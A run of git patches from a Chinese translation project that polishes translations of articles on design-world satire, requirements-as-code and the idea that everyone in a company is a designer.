-不知道如何解释你的过度使用动画、巧妙的抄袭，或者通用*可爱*的图案吗？只需要说它们通常伴随着『喜悦』就够了！谈谈你是如何理解用户的心理的 —— 如何打造一个人们会喜欢的体验。没有人关心你的方案是否功能健全、是否成本高昂，或者是否有数据支撑你的直觉。提醒所有人，你正在与用户建立持久的感情联系。
+不知道如何解释你的过度使用动画、巧妙的抄袭，或者通用**可爱**的图案吗？只需要说它们通常伴随着「喜悦」就够了！谈谈你是如何理解用户的心理的 —— 如何打造一个人们会喜欢的体验。没有人关心你的方案是否功能健全、是否成本高昂，或者是否有数据支撑你的直觉。提醒所有人，你正在与用户建立持久的感情联系。
 
-***装逼技巧:*** *向所有人展示 Maslow 的需求层次理论图，并指出最上层的『自我实现』是多么高层次的追求。*
+***装腔技巧:*** *向所有人展示马斯洛需求层次理论图，并指出最上层的「自我实现」是多么高层次的追求。*
 
 
 ![](https://cdn-images-1.medium.com/max/1000/1*U0hzgnxBdy6UWp-9mJsIOQ.gif)
@@ -25,9 +25,9 @@ Toby 是一本活脱脱的百科全书.
 
 ### 使用行业术语来迷惑他们 ###
 
-不要在意你的工作是否让事情变得容易理解。使用短语像『*整体分析*』或『*品牌故事*』亦或其他让人即摸不着头脑也不敢问是什么意思的行业术语。你使用的流行语越多，你就越不需要解释你的实际设计思路。
+不要在意你的工作是否让事情变得容易理解。使用短语像「**整体分析**」或「**品牌故事**」亦或其他让人即使摸不着头脑也不敢问是什么意思的行业术语。你使用的流行语越多，你就越不需要解释你的实际设计思路。
 
-如果一个利益相关人士询问你的设计理由，只要告诉他们诸如『这种设计以社会为导向，以品牌价值为指导，围绕其特性所建立，从而通过共鸣和情感设计来吸引用户』之类的话就可以了，哪怕你只是在设计一个优惠券的输入框。
+如果一个利益相关人士询问你的设计理由，只要告诉他们诸如「这种设计以社会为导向，以品牌价值为指导，围绕其特性所建立，从而通过共鸣和情感设计来吸引用户」之类的话就可以了，哪怕你只是在设计一个优惠券的输入框。
 
 ![](https://cdn-images-1.medium.com/max/1000/1*QsVGLGmSStDhlhNY_LKM9w.gif)
 
@@ -53,7 +53,7 @@ Gabrielle 用她的魔力将其他产品的解决方案变成了自己的！
 
 ### **学习（照搬）最佳实践** ###
 
-不知道如何解决问题？只需要复制亚马逊、苹果或者 Facebook 的解决方案，并运用自己的风格即可。当有人质疑你时，只要说 *『亚马逊就是这么干的』*。这将教会他们将问题保留到下一次再提问！如果它适用于亚马逊，它肯定适合你，对吧？因为根本没有人在乎你搞的是不是一个电商产品。
+不知道如何解决问题？只需要复制亚马逊、苹果或者 Facebook 的解决方案，并运用自己的风格即可。当有人质疑你时，只要说 **「亚马逊就是这么干的」**。这将教会他们将问题保留到下一次再提问！如果它适用于亚马逊，它肯定适合你，对吧？因为根本没有人在乎你搞的是不是一个电商产品。
 
 ![](https://cdn-images-1.medium.com/max/1000/1*_rH6r2v-eKIY9doQOz86jw.gif)
 
@@ -65,7 +65,7 @@ Claude 知道如何制作一个饼状图。
 
 假如有人要求查看你的方法或来源或想要查看原始数据，只需告诉他们你们的对话应该结束了，然后在这个月剩下的时间里躲避他们就好。
 
-***装逼技巧:*** *如果你有能力，做一个假的幻灯片，让大家接受你的结论。 比如，『我们的登录页的跳出率与 Pokemon Go 的下载量相关，因此我们应该将增强现实添加到我们的页面』。*
+***装腔技巧:*** *如果你有能力，做一个假的幻灯片，让大家接受你的结论。 比如，「我们的登录页的跳出率与 Pokemon Go 的下载量相关，因此我们应该将增强现实添加到我们的页面」。*
 
 ![](https://cdn-images-1.medium.com/max/1000/1*mgeKX-DlW-obHhFUGBB6xA.gif)
 
@@ -73,9 +73,9 @@ Fran 在沉默中看着她的工作。
 
 ### **让人们觉得你很忙** ###
 
-没有什么比满墙贴满他人的作品更能给路人留下深刻印象的了。打印其他产品的截屏，这叫『竞品分析』；把所有的 Pinterest 上有才华的设计都放上去，这叫『灵感来源』；把所有你探索过的糟糕的迭代过程做成拼图放在一起，这叫『想法形成』。始终追求数量，而不是质量。不管是有意义还是没意义的，钉上在墙后都是有意义的。重要的是要让人们相信你有一个有创造力且忙碌的头脑。
+没有什么比满墙贴满他人的作品更能给路人留下深刻印象的了。打印其他产品的截屏，这叫「竞品分析」；把所有的 Pinterest 上有才华的设计都放上去，这叫「灵感来源」；把所有你探索过的糟糕的迭代过程做成拼图放在一起，这叫「想法形成」。始终追求数量，而不是质量。不管是有意义还是没意义的，钉上在墙后都是有意义的。重要的是要让人们相信你有一个有创造力且忙碌的头脑。
 
-***装逼技巧:*** *默默地盯着墙看几个小时，你的同事会认为你在沉思。如果你**[在你的眼皮上画上眼睛](https://www.youtube.com/watch?v=U6qBnykH0DU)，还能打会盹儿。*
+**装腔技巧:** *默默地盯着墙看几个小时，你的同事会认为你在沉思。如果你**[在你的眼皮上画上眼睛](https://www.youtube.com/watch?v=U6qBnykH0DU)，还能打会盹儿。*
 
 ![](https://cdn-images-1.medium.com/max/1000/1*gB-SyYrl3WXBYDW2Up7lWQ.gif)
 
@@ -87,7 +87,7 @@ Petunia 马上就要成为一个伟大的设计师了!
 
 你可以使用双重 ▲▲ 甚至三重 ▲▲▲ 三角形图来打动你的同事。这不仅会让每个人都同意你偷换的概念，还会让他们觉得你你具有创造性思维，并用简单的方式解释复杂的想法。
 
-***装逼技巧:*** *总是将『价值』写在图标相交的区域里！*
+***装腔技巧:*** *总是将「价值」写在图标相交的区域里！*
 
 ![](https://cdn-images-1.medium.com/max/1000/1*VImvvTlomv4aX8E_UbUlUQ.gif)
 
@@ -95,15 +95,15 @@ Paul 知道如何创建一个量身定做的产品。
 
 ### **扭曲用户中心设计** ###
 
-如果你不用『用户中心设计』（HCD），那么你不够现代。当我们谈论『用』时，我们实际在谈论『讨论它』而已。让每个人都知道他们需要如何理解用户的需求和能力。如何建立共鸣对创造有意义的产品至关重要。如果没有用户中心设计，谁还会在意其他事情是否已经成功地设计好了呢？不用在意这个方法是否适合你，更不用在意如果把产品定制为某种特定的人群是否会疏远他人。如果你忽略了他们的建议，这并不重要。用你是多么地『*关心*』用户来打动大家就可以了。
+如果你不用「用户中心设计」（HCD），那么你不够现代。当我们谈论「用」时，我们实际在谈论「讨论它」而已。让每个人都知道他们需要如何理解用户的需求和能力。如何建立共鸣对创造有意义的产品至关重要。如果没有用户中心设计，谁还会在意其他事情是否已经成功地设计好了呢？不用在意这个方法是否适合你，更不用在意如果把产品定制为某种特定的人群是否会疏远他人。如果你忽略了他们的建议，这并不重要。用你是多么地「**关心**」用户来打动大家就可以了。
 
 ![](https://cdn-images-1.medium.com/max/1000/1*J0AFQkt36gUyNqjaFm3lIw.gif)
 
 Paul 确实了解他的主要用户。
 
-### **专注你的市场** ###
+### **专注你独占的市场** ###
 
-好吧，他们信任你的那套『用户中心设计』了，现在他们想要一个无障碍设计怎么办？不要担心，你只需要指出，对网站进行无障碍需要花很长时间和很多钱。然后假设你的目标市场有着最先进的计算机和互联网连接，而且用户都是健康、甚至都没有见过医生的 00 后就可以了。你怎么知道的？因为你是他们中的一员！你自己就是用户！
+好吧，他们信任你的那套「用户中心设计」了，现在他们想要一个无障碍设计怎么办？不要担心，你只需要指出，对网站进行无障碍需要花很长时间和很多钱。然后假设你的目标市场有着最先进的计算机和互联网连接，而且用户都是健康、甚至都没有见过医生的 00 后就可以了。你怎么知道的？因为你是他们中的一员！你自己就是用户！
 
 而且，老实说，无障碍设计可能让你永远没法在页面上添加的那些炫酷动画了。
 
@@ -115,16 +115,16 @@ Paul 确实了解他的主要用户。
 
 ### 严肃的说 ###
 
-而上面所有这些『技巧』都是不靠谱的，它们其实展示了我自己曾经犯过的错误。可以这么说，这些只是我们所做的一切事情的副作用。我们正在不断尝试不同的事物，看看什么是有效的、什么是不适应不断变化的用户的需求和技术。从表面上看，一切都是可以理解的，但我必须承认，我有时不知道我所做的事情是否正确。
+而上面所有这些「技巧」都是不靠谱的，它们其实展示了我自己曾经犯过的错误。可以这么说，这些只是我们所做的一切事情的副作用。我们正在不断尝试不同的事物，看看什么是有效的、什么是不适应不断变化的用户的需求和技术。从表面上看，一切都是可以理解的，但我必须承认，我有时不知道我所做的事情是否正确。
 
-不知道你是否有这样的感觉：当所有人都意识到你是一个骗子的时候，你是否会感到害怕吗？你是否曾今假装自己能做到？我最近听说这叫『骗子综合症』。我从来没有像搬到旧金山之后感受如此强烈。当我开始在一家创业公司工作时，我发现我需要学习很多东西。我感到不安，且失去了利用我的个人魅力来获得别人认可的能力。所以我觉得我的设计工作还做得不够好。
+不知道你是否有这样的感觉：当所有人都意识到你是一个骗子的时候，你是否会感到害怕吗？你是否曾今假装自己能做到？我最近听说这叫「骗子综合症」。我从来没有像搬到旧金山之后感受如此强烈。当我开始在一家创业公司工作时，我发现我需要学习很多东西。我感到不安，且失去了利用我的个人魅力来获得别人认可的能力。所以我觉得我的设计工作还做得不够好。
 
 无论如何，我相信情况正在好转。或者至少我已经变得更加善于伪装了。
 
 **设计团队**
 
 - [thedesignteam.io](http://thedesignteam.io) 上的漫画每周二更新。
-- 我是 [Pablo Stanley](https://twitter.com/pablostanley) 。点击 [订阅](http://eepurl.com/cbWwtz) 可以收到我的『垃圾邮件』。我教授一门 [设计课程](https://www.youtube.com/c/sketchtogethertv)，同时我还在一家名为 [Carbon Health](https://carbonhealth.com/) 的医疗保健创业公司工作。
+- 我是 [Pablo Stanley](https://twitter.com/pablostanley) 。点击 [订阅](http://eepurl.com/cbWwtz) 可以收到我的「垃圾邮件」。我教授一门 [设计课程](https://www.youtube.com/c/sketchtogethertv)，同时我还在一家名为 [Carbon Health](https://carbonhealth.com/) 的医疗保健创业公司工作。
 
 - 感谢 [Courtney M. Sawyer](https://medium.com/@courtneymsawyer) , [Michael Lorton](https://medium.com/@michaellorton) , [Edgar chaparro](https://medium.com/@Echaparro), 和 [Frances Tung](https://medium.com/@francestung) 的全部支持。
 

From 5d9b8b467ff9ecefe3fca57cc8bc88f4debee463 Mon Sep 17 00:00:00 2001
From: loveky <ylzcylx@gmail.com>
Date: Thu, 11 May 2017 18:22:29 +0800
Subject: [PATCH 423/638] save

---
 TODO/the-truth-is-in-the-code.md | 20 ++++++++++----------
 1 file changed, 10 insertions(+), 10 deletions(-)

diff --git a/TODO/the-truth-is-in-the-code.md b/TODO/the-truth-is-in-the-code.md
index 49bd6061503..912d74f09fc 100644
--- a/TODO/the-truth-is-in-the-code.md
+++ b/TODO/the-truth-is-in-the-code.md
@@ -8,7 +8,7 @@
 
 ![](https://cdn-images-1.medium.com/max/800/1*Fw8F2fRNVfkcE-0VGyDZhQ.png)
 
-[shoppingapp](https://github.com/bertilmuth/requirementsascode/tree/master/requirementsascodeexamples/shoppingappjavafx) 模型，[requirementsascode](https://github.com/bertilmuth/requirementsascode) 的示例代码
+[购物应用](https://github.com/bertilmuth/requirementsascode/tree/master/requirementsascodeexamples/shoppingappjavafx) 模型，[requirementsascode](https://github.com/bertilmuth/requirementsascode) 的示例代码
 
 早晚有一天，每个程序员都会听到这样一句话：
 
@@ -18,13 +18,13 @@
 
 但这句话是什么意思呢？
 
-[敏捷宣言](http://agilemanifesto.org/)中指出“可工作的软件胜过繁琐的文档。”
+[敏捷宣言](http://agilemanifesto.org/)中指出“可工作的软件胜过繁琐的文档”。
 
 即便开发人员一直都在撰写繁琐的文档以描述软件的行为。代码也在做着相同的事。
 
-代码注释，外部规范也在记录软件的行为。但是当代码被修改时它们可能不会被同步更新。然后它们很快就不再能表达代码的行为了。
+代码注释、外部规范也在记录软件的行为，但是当代码被修改时它们可能不会被同步更新。然后它们很快就不再能表达代码的行为了。
 
-另一方面，代码**始终**都能表达软件的行为。因为正是它定义了这些行为。
+相反，代码**始终**都能表达软件的行为。因为正是它定义了这些行为。
 
 这就是为什么说真相存在于代码中。
 
@@ -92,14 +92,14 @@
 
 ### 手套商店的例子 ###
 
-作为一个软件的用户，我想要[达到期望的目的](https://medium.freecodecamp.com/nobody-wants-to-use-software-a75643bee654?source=linkShare-a74297325869-1489339708)。比如，我想拥有一双新手套以便我的手指在冬天可以保持温暖。
+作为一个软件的用户，我想要[达到期望的目的](https://medium.freecodecamp.com/nobody-wants-to-use-software-a75643bee654?source=linkShare-a74297325869-1489339708)。比如，我想拥有一双新手套在冬天可以给我的手保暖。
 
-因此我上网寻找并发现了一家新开的线上手套专卖店。该店铺的网站可以让我购买手套。“基本流程”（也被成为“正常用例”）大概是这样的：
+因此我上网找到了一家新开的线上手套专卖店。该店铺的网站可以让我购买手套。“基本流程”（也被称为“正常用例”）大概是这样的：
 
 - 系统以一个空购物车开始。
 - 系统展示一个手套的列表。
 - 我添加喜欢的手套到购物车。系统将这些手套加入到我的订单中。
-- 我选择结账
+- 我选择结账。
 - 我输入配送信息和支付详情。系统保存这些信息。
 - 系统展示一份订单的详细信息。
 - 我确认信息。系统开始配送我的订单。
@@ -118,7 +118,7 @@
 
 我想知道每一个用例中的不同部分对应哪块代码。
 
-#### 那么一个用例由哪些零件构成呢？####
+#### 那么一个用例由哪些**零件**构成呢？####
 
 用例的基础零件是使用户离期望结果更近一步的**步骤**。比如：“系统展示一个手套的列表。”
 
@@ -192,7 +192,7 @@
 
 这是件好事情，因为它允许开发人员适应不同的情景与需求。
 
-这也承担了由开发人员讲述太多不同故事（哪怕是针对同一个产品）带来的风险。使得理解其他人编写的代码变得更困难了。
+这也承担了由开发人员讲述太多不同故事（哪怕是针对同一个产品）带来的风险，使得理解其他人编写的代码变得更困难了。
 
 解决这个问题的一个办法是使用设计模式。它们可以帮你合理的组织代码。你可以在团队中甚至是团队间就这种通用结构达成一致。
 
@@ -257,7 +257,7 @@ Requirementsascodeextract 使用了 FreeMarker 模板引擎。它允许你生成
 
 我从几年前就开始了 requirementsascode 这个项目，直到最近才将它公开。与最初相比，它已经得到了极大的改善。
 
-为了了解这种方法是否具有可扩展性，我尝试在一个有数千行代码的项目中使用。被证明是有效的。我也在一些更加小型的应用中尝试过。
+为了了解这种方法是否具有可扩展性，我尝试在一个有数千行代码的项目中使用。被证明是有效的，我也在一些更加小型的应用中尝试过。
 
 到目前为止，requirementsascode 一直都是我的业余项目。
 

From 3b4c43e9cb92c1b8d995a6d65ef24ed08e184a09 Mon Sep 17 00:00:00 2001
From: loveky <ylzcylx@gmail.com>
Date: Thu, 11 May 2017 18:24:38 +0800
Subject: [PATCH 424/638] save

---
 TODO/the-truth-is-in-the-code.md | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/TODO/the-truth-is-in-the-code.md b/TODO/the-truth-is-in-the-code.md
index 912d74f09fc..18fcebd8e40 100644
--- a/TODO/the-truth-is-in-the-code.md
+++ b/TODO/the-truth-is-in-the-code.md
@@ -8,13 +8,13 @@
 
 ![](https://cdn-images-1.medium.com/max/800/1*Fw8F2fRNVfkcE-0VGyDZhQ.png)
 
-[购物应用](https://github.com/bertilmuth/requirementsascode/tree/master/requirementsascodeexamples/shoppingappjavafx) 模型，[requirementsascode](https://github.com/bertilmuth/requirementsascode) 的示例代码
+[购物应用](https://github.com/bertilmuth/requirementsascode/tree/master/requirementsascodeexamples/shoppingappjavafx)模型，[requirementsascode](https://github.com/bertilmuth/requirementsascode) 的示例代码
 
 早晚有一天，每个程序员都会听到这样一句话：
 
 > “真相只能在一处找到：代码中。”
 
-> —— Robert C. Martin，【代码整洁之道】(https://www.amazon.de/Clean-Code-Handbook-Software-Craftsmanship/dp/0132350882)
+> —— Robert C. Martin，[代码整洁之道](https://www.amazon.de/Clean-Code-Handbook-Software-Craftsmanship/dp/0132350882)
 
 但这句话是什么意思呢？
 
@@ -118,7 +118,7 @@
 
 我想知道每一个用例中的不同部分对应哪块代码。
 
-#### 那么一个用例由哪些**零件**构成呢？####
+#### 那么一个用例由哪些零件构成呢？####
 
 用例的基础零件是使用户离期望结果更近一步的**步骤**。比如：“系统展示一个手套的列表。”
 

From 3260a204eae8f1f612ce20627fe96051169988d3 Mon Sep 17 00:00:00 2001
From: ylq <ylq@ylqdeMacBook-Pro.local>
Date: Thu, 11 May 2017 19:04:23 +0800
Subject: [PATCH 425/638] =?UTF-8?q?=E6=A0=B9=E6=8D=AE=E6=A0=A1=E5=AF=B9?=
 =?UTF-8?q?=E4=BF=AE=E6=94=B9?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 TODO/everyone-is-a-designer-get-over-it.md | 84 +++++++---------------
 1 file changed, 25 insertions(+), 59 deletions(-)

diff --git a/TODO/everyone-is-a-designer-get-over-it.md b/TODO/everyone-is-a-designer-get-over-it.md
index d2b20d831b0..891ccb56f1c 100644
--- a/TODO/everyone-is-a-designer-get-over-it.md
+++ b/TODO/everyone-is-a-designer-get-over-it.md
@@ -1,115 +1,81 @@
 > * 原文地址：[Everyone is a designer. Get over it.](https://library.gv.com/everyone-is-a-designer-get-over-it-501cc9a2f434)
 > * 原文作者：[Daniel Burka](https://library.gv.com/@dburka)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
-> * 译者：
-> * 校对者：
+> * 译者：[ylq167](https://github.com/ylq167)
+> * 校对者：[changkun](https://github.com/changkun)，[circlelove](https://github.com/circlelove)
 
 
 ![](https://cdn-images-1.medium.com/max/2000/1*xIoFsnWI_2-1VOy00a2KrQ.jpeg)
 
-Photo by Alice Achterhof [via Unsplash](https://unsplash.com/search/designer-paint?photo=FwF_fKj5tBo)
 图片作者 Alice Achterhof [来自于 Unsplash](https://unsplash.com/search/designer-paint?photo=FwF_fKj5tBo)
 
-# Everyone is a designer. Get over it. #
-# 人人都是设计师。结束它吧。#
+# 人人都是设计师。我们可以的。 #
 
-Recently, [Jared Spool](https://www.uie.com/about/) caught my attention with [an article](https://articles.uie.com/signup/)  about how Netflix’s performance engineers are *actually designers*. It’s a provocative idea, but it makes sense. His argument is that everyone in your organization (including performance engineers) designs the product, not just the people with “design” in their job titles.
-最近，[Jared Spool](https://www.uie.com/about/) 通过一篇关于 Netflix 的性能工程师竟然是**设计师**的[文章](https://articles.uie.com/signup/)吸引了我的注意 。这是一个挑衅的想法，但也有一定的道理。他的论点是你团队中的每个人（包括性能工程师）都参与到产品设计，而不仅仅是职位为「设计」的人。
+最近，[Jared Spool](https://www.uie.com/about/) 的一篇关于 Netflix 的性能工程师竟然才是是真正的**设计师**的[文章](https://articles.uie.com/signup/)引起了我的注意 。这是一个挑衅的想法，但也有一定的道理。他的论点是你团队中的每个人（包括性能工程师）都参与到产品设计，而不仅仅是带有「设计」头衔的人。
 
 ![](https://cdn-images-1.medium.com/max/800/1*qLoczEHONP188zelJbn-6w@2x.png)
 
-From some of the reactions, you might think Jared had kidnapped someone’s baby for ritual sacrifice. What exactly did Jared write?
-从一些反应中，你可能会认为 Jared 绑架了一些人的宝贝用来献祭。Jared 到底写了什么呢？
+从一些反应中，你可能会认为 Jared 绑架了一些人的孩子用来献祭。Jared 到底写了什么呢？
 
-> The members of this team are performance engineers. They are architecting, engineering, and maintaining the performance of a very complex system. It occupies all their time and then some. In systems engineering, there are few jobs more technical than these.
 > 这个团队的成员都是性能工程师。他们架设，开发，维护一个复杂系统的性能。这占据了他们所有的时间。而且还远不止如此，在系统工程方面，几乎没有比这更技术性的工作。
 
-> And yet, at the very moment that a Netflix viewer’s video stream stops and that spinning animation appears, indicating the player is now awaiting more data, these engineers make a dramatic change. **They become user experience designers.**
-> 然而，在 Netflix 观众的视频流停止并出现旋转动画的那一刻，表明播放器正在等待更多的数据，这些工程师发生了戏剧性的转变，**他们变成了用户体验设计师。**
+> 然而，在 Netflix 用户的视频流停止并出现旋转动画的那一刻，表明播放器正在等待更多的数据，这些工程师（的身份）发生了戏剧性的转变，**他们变成了用户体验设计师。**
 
-I made that last sentence bold — because it’s really important. Some designers are uncomfortable with the idea that an engineer or a salesperson or a CFO could be a *designer*.
-我把最后一句话加粗了，因为这真的很重要。一些设计师对工程师或销售人员或财务官可能是「设计师」的想法感到不适。
+我把最后一句话加粗了 —— 因为这真的很重要。一些设计师对工程师或销售人员或 CFO 可能是「设计师」的想法感到不适。
 
 ![](https://cdn-images-1.medium.com/max/800/1*ErZDaGRy3mJ19jGdWqeJgA@2x.png)
 
-Common reactions
-常见的反应
+常见反应
 
-Whether you like it or not, whether you approve it or not, people outside of your design team are making significant *design* choices that affect your customers in important ways. They are *designing* your product. They are *designers*.
-不管你是不是喜欢，也不管你是不是同意，设计团队以外的人都会以重要的方式通过重大的**设计**决策来影响你的客户。
+不管你是不是喜欢，也不管你是不是同意，设计团队以外的人都会以重要的方式通过重大的**设计**决策来影响你的客户。他们也**正在设计**你的产品，他们也是**设计师**。
 
-This shouldn’t be provocative — it’s just a statement of fact. I work with[ dozens of startups](http://www.gv.com/portfolio/) every year, and I see it happen at every one. A CFO makes a pricing decision and changes the product experience. An engineer makes a performance trade-off. A salesperson writes a script for talking to customers. In my view, people who fundamentally change the customer’s experience are *designers*.
-这不应该是**挑衅**-这只是一个事实的陈述。我每年与几十家[创业公司](http://www.gv.com/portfolio/)合作，我看到每一家公司都会发生这种情况。首席财务官作出定价决定改变了产品体验。一个工程师做了性能权衡。销售人员写一个与客户交谈的脚本。在我看来，从根本上改变用户体验的人就可以叫做**设计师**。
+这不应该是**挑衅** —— 这只是一个事实的陈述。我每年与几十家[创业公司](http://www.gv.com/portfolio/)合作，我看到每一家公司都会发生这种情况。CFO 作出定价决定改变了产品体验。一个工程师做了性能权衡。销售人员写一个与客户交谈的脚本。在我看来，从根本上改变用户体验的人就可以叫做**设计师**。
 
-If this is so self-evident, why do Jared and I press the point? I keep beating the drum because I want designers to change the way they think about their role and become better stewards of good design.
-如果这是不言而喻的，那为什么 Jared 和我坚持这一点？我会持续宣传（此处翻译是否合适？），因为我希望设计师改变他们对自身角色的看法，并成为更好的设计师。
+如果这是不言而喻的，那为什么 Jared 和我坚持这一点？我会一直强调这一点，因为我希望设计师能改变看待自己身份的方式，并成为更好的设计师。
 
-For a moment, consider how this shift in perspective could change the way you work.
 现在，想想这种观点的改变将如何改变你的工作方式。
 
-#### Everyone needs a design mindset ####
-#### 每个人都需要设计思维 ####
+#### 人人都需要设计思维 ####
 
-When you accept the reality that design decisions are coming from outside your group, by people without “design” in their job titles, you approach your co-workers differently . Now they’re not just your co-workers — they’re your design team.
-当你接受设计决策来自于你团队之外而且职位不是「设计」的人的现实时，你就会向你的其他同事靠拢。现在他们不仅是你的同事-他们还是你的设计团队。
+当你接受设计决策来自于你团队之外而且不带有「设计」头衔的人的现实时，你就会向你的其他同事靠拢。因为他们不仅是你的同事，也构成了你的设计团队。
 
-The companies that produce great design, such as Apple and Airbnb, have learned this. Alex Schleifer, VP of design at Airbnb,[ tells *Wired*](https://www.wired.com/2015/01/airbnbs-new-head-design-believes-design-led-companies-dont-work/) how the company *isn’t* design-led:
-创造出顶尖设计的公司，像苹果（Apple）和爱彼迎（Airbnb），都已经意识到了这一点。 爱彼迎（Airbnb）的设计副总裁 Alex Schleifer [告诉**《连线》杂志**](https://www.wired.com/2015/01/airbnbs-new-head-design-believes-design-led-companies-dont-work/)公司如何才能**不由**设计主导。
+苹果（Apple）和爱彼迎（Airbnb）那些能带来顶尖设计的公司都深谙此道。爱彼迎（Airbnb）的设计副总裁 Alex Schleifer [对**《连线》杂志**提及](https://www.wired.com/2015/01/airbnbs-new-head-design-believes-design-led-companies-dont-work/)他们的公司其实**并不是**设计驱动的。
 
-> *The solution [at Airbnb] actually deemphasizes the designers. The point… isn’t to create a “design-led culture,” because that tends to tell anyone who isn’t a designer that their insights take a backseat. It puts the entire organization in the position of having to react to one privileged point of view. Instead, Schleifer wants more people to appreciate what typically lies only within the realm of designers — the user viewpoint.*
-> **爱彼迎（Airbnb）的解决方法实际上不强调设计师，这一点，不是要创造一个「设计主导的文化」，而是因为这往往会告诉任何一个不是设计师的人他们的洞察力是不重要的。它使整个组织能够对一个特别的观点作出反应。（此处该如何翻译？）相反，Schleifer 希望更多的人意识到用户视角通常只在设计师的领域。**（此处该如何翻译？）
+>**Airbnb 的解决方案其实淡化了设计师的概念。重点不是去创造一个「设计驱动的文化」，因为这就相当于对其他人说他们的看法是不重要的。这会把整个团体置于必须去迎合某个特权观点的不利位置。相反，Schleifer 则希望更多的人能够去细细体会那些只存在于设计师领域的 —— 「用户」观点。**
 
-Does everyone need all the skills of a designer? Of course not. But each person needs to be armed with the tools to understand how their decisions affect the customer experience.
-每个人都需要掌握设计师的所有技能吗？当然不是。但是每个人都需要配备工具来理解他们的决定是如何影响用户体验的。
+每个人都需要掌握设计师的所有技能吗？当然不是。但是理解他们的决定是如何影响用户体验每个人都要掌握的手段。
 
-When an engineer takes a shortcut and scrimps on performance, they need to understand how that damages the user experience. Likewise, when a designer pushes an engineer to make a change that affects performance, that engineer should help the designer make the best overall design decision — not just roll over and do what the designer asked. It’s this type of respectful collaboration that makes great design happen.
-当一个工程师在性能方面采用敏捷的途径时，他们需要理解这是如何损害用户体验的。同样，当设计师需要推动工程师做影响性能的改变时，这个工程师应该帮助设计师做出最好的整体设计决策，而不仅是否定设计师所需要的。正是这种尊重的合作创造出伟大的设计。
+当一个工程师在性能方面走捷径时，他们需要理解这是如何损害用户体验的。同样，当设计师需要推动工程师做影响性能的改变时，这个工程师应该帮助设计师做出最好的整体设计决策，而不仅是否定设计师所需要的。正是这种相互尊重的合作方式才孕育了伟大的设计。
 
-One of the best ways to encourage empathy is to watch customer research studies with co-workers from across your company. When my colleague Michael Margolis runs a study with a GV company, we insist that the real team — not just the designers — watch those interviews and take notes. If it’s not possible for everyone to watch in real time, you can record the sessions and schedule a “viewing party” for later.
-激发共鸣的最好方式就是和来自公司的同事一起看用户调研。当我的同事 Michael Margolis 和 GV 公司一起进行研究时，我们坚持认为，真正的团队-不仅仅是设计师-需要看这些访谈并进行记录。如果不可能做到每个人都全部观看，你可以记录会话并在之后安排一个「观看聚会」。
+激发共鸣的最好方式就是和来自公司的同事一起看用户调研。当我的同事 Michael Margolis 和 GV 公司一起进行研究时，我们要求整个团队 —— 而不仅仅是设计师 —— 都要一起观看这些访谈并进行记录。如果不可能做到每个人都全部观看，你可以记录会话并在之后安排一个集体的「评审会议」。
 
-#### Work outside your design team ####
 #### 在设计团队之外工作 ####
 
-When you accept that design happens almost everywhere in your organization, you have to take responsibility for it. Your app is slow? Go sit with your engineering team. Your marketing team is poorly communicating your product to future customers? You’d better offer to work with them on the problem.
-当你接受设计这个行为发生在你的团队中几乎任何地方时，你必须承担责任。你的应用很慢？和你的工程团队坐在一起。你的营销团队很难将你的产品传达给未来的客户？你最好在这个问题上和他们一起工作。
+当你接受设计这个行为发生在你的团队中几乎任何地方时，你必须承担责任。你的应用很慢？去找开发团队谈谈。你的营销团队很难将你的产品传达给潜在客户？你最好在这个问题上和他们一起工作。
 
-Yes, doing design with everyone at your company is a lot of work. But it’s necessary if you want to be a truly great designer — otherwise, you’re simply papering over bad decisions. For example, imagine that your CEO created a complex pricing structure for your product. You could focus on making the pricing page as clear as possible using your interface and information design skills. But the harder and more important design opportunity is to work with your CEO on repricing your product so it’s clear to customers and compatible with the business goals.
-是的，和你公司里的每个人一起做设计的工作量很大。但是，如果你想成为一名真正伟大的设计师，那么这是必要的。否则，你只是在做错误的决定。例如，假设你的 CEO 为你的产品创建了一个复杂的定价结构。你可以专注于使用您的界面和信息设计技巧使定价页面尽可能的清晰。但更难更重要的设计机会是与您的 CEO 一起重新定价你的产品，以便用户清楚，同时符合业务目标。
+是的，和你公司里的每个人一起做设计的工作量很大。但是，如果你想成为一名真正伟大的设计师，那么这是必要的。否则，你只是在做错误的决定。例如，假设你的 CEO 为你的产品创建了一个复杂的定价结构。你可以专注于使用您的界面和信息设计技巧使定价页面尽可能的清晰。但是需要把握的更加困难和重要的设计机会则是与您的 CEO 一起重新定价你的产品，以便用户清楚，同时符合业务目标。
 
-Focusing on the core business is what differentiates real product design from interface design or even user experience design. Fundamental product design is really hard and requires a lot of legwork, but this is what designers at the highest level do — and it’s why their work is better than yours.
-关注核心业务是将是实际产品设计与界面设计甚至用户体验设计区分开来。基本的产品设计真的很难，需要大量的调研工作，但这就是最高级的设计师所做的-这就是为什么他们的工作比你的好。
+关注核心业务是将是实际产品设计与界面设计甚至用户体验设计区分开来。基本的产品设计真的很难，需要大量的调研工作，但这就是最高级的设计师所做的 - 这就是为什么他们的工作比你的好。
 
 ![](https://cdn-images-1.medium.com/max/600/1*czW-2nrN_3l50ZzgYQYqlw@2x.png)
 
-“The Disciplines of UX Design” by Dan Saffer and Thomas Gläser
 Dan Saffer 和 ThomasGläser 的 「用户体验设计学科」
 
-#### Grow your design team to include non-designers ####
-#### 扩大您的设计团队，包括非设计师 ####
+#### 将非设计师扩增到设计团队中 ####
 
-Design is a hard job. You’ll need a wide range of skills (look at all of those circles in the[ diagram of UX Disciplines](https://www.fastcodesign.com/1671735/infographic-the-intricate-anatomy-of-ux-design)  by Dan Saffer) and years of practice to truly master design.
 设计是一项艰巨的任务，你将需要广泛的技能（请查看由 Dan Saffer（制作的）[UX 学科图](https://www.fastcodesign.com/1671735/infographic-the-intricate-anatomy-of-ux-design)中的所有圈子）和多年的实践才能真正掌握设计。
 
-Maybe that’s why so many designers are offended when non-designers do design work or get called “designers” by Jared and me. You can act offended if you want, but the reality is that other people are making design decisions with or without you. Embrace them . They don’t make your job less valuable. They don’t make your job title less meaningful.
 也许这就是为什么当不是设计师的人做设计工作或者被 Jared 和我称作「设计师」时，许多设计师感到生气。只要你愿意你可以表现的很生气，但事实是其他人不管有没有你都一直在做设计决策。拥抱他们吧，他们不会使你的工作变得不那么有价值，也不会使你的职位变得不那么有意义。
 
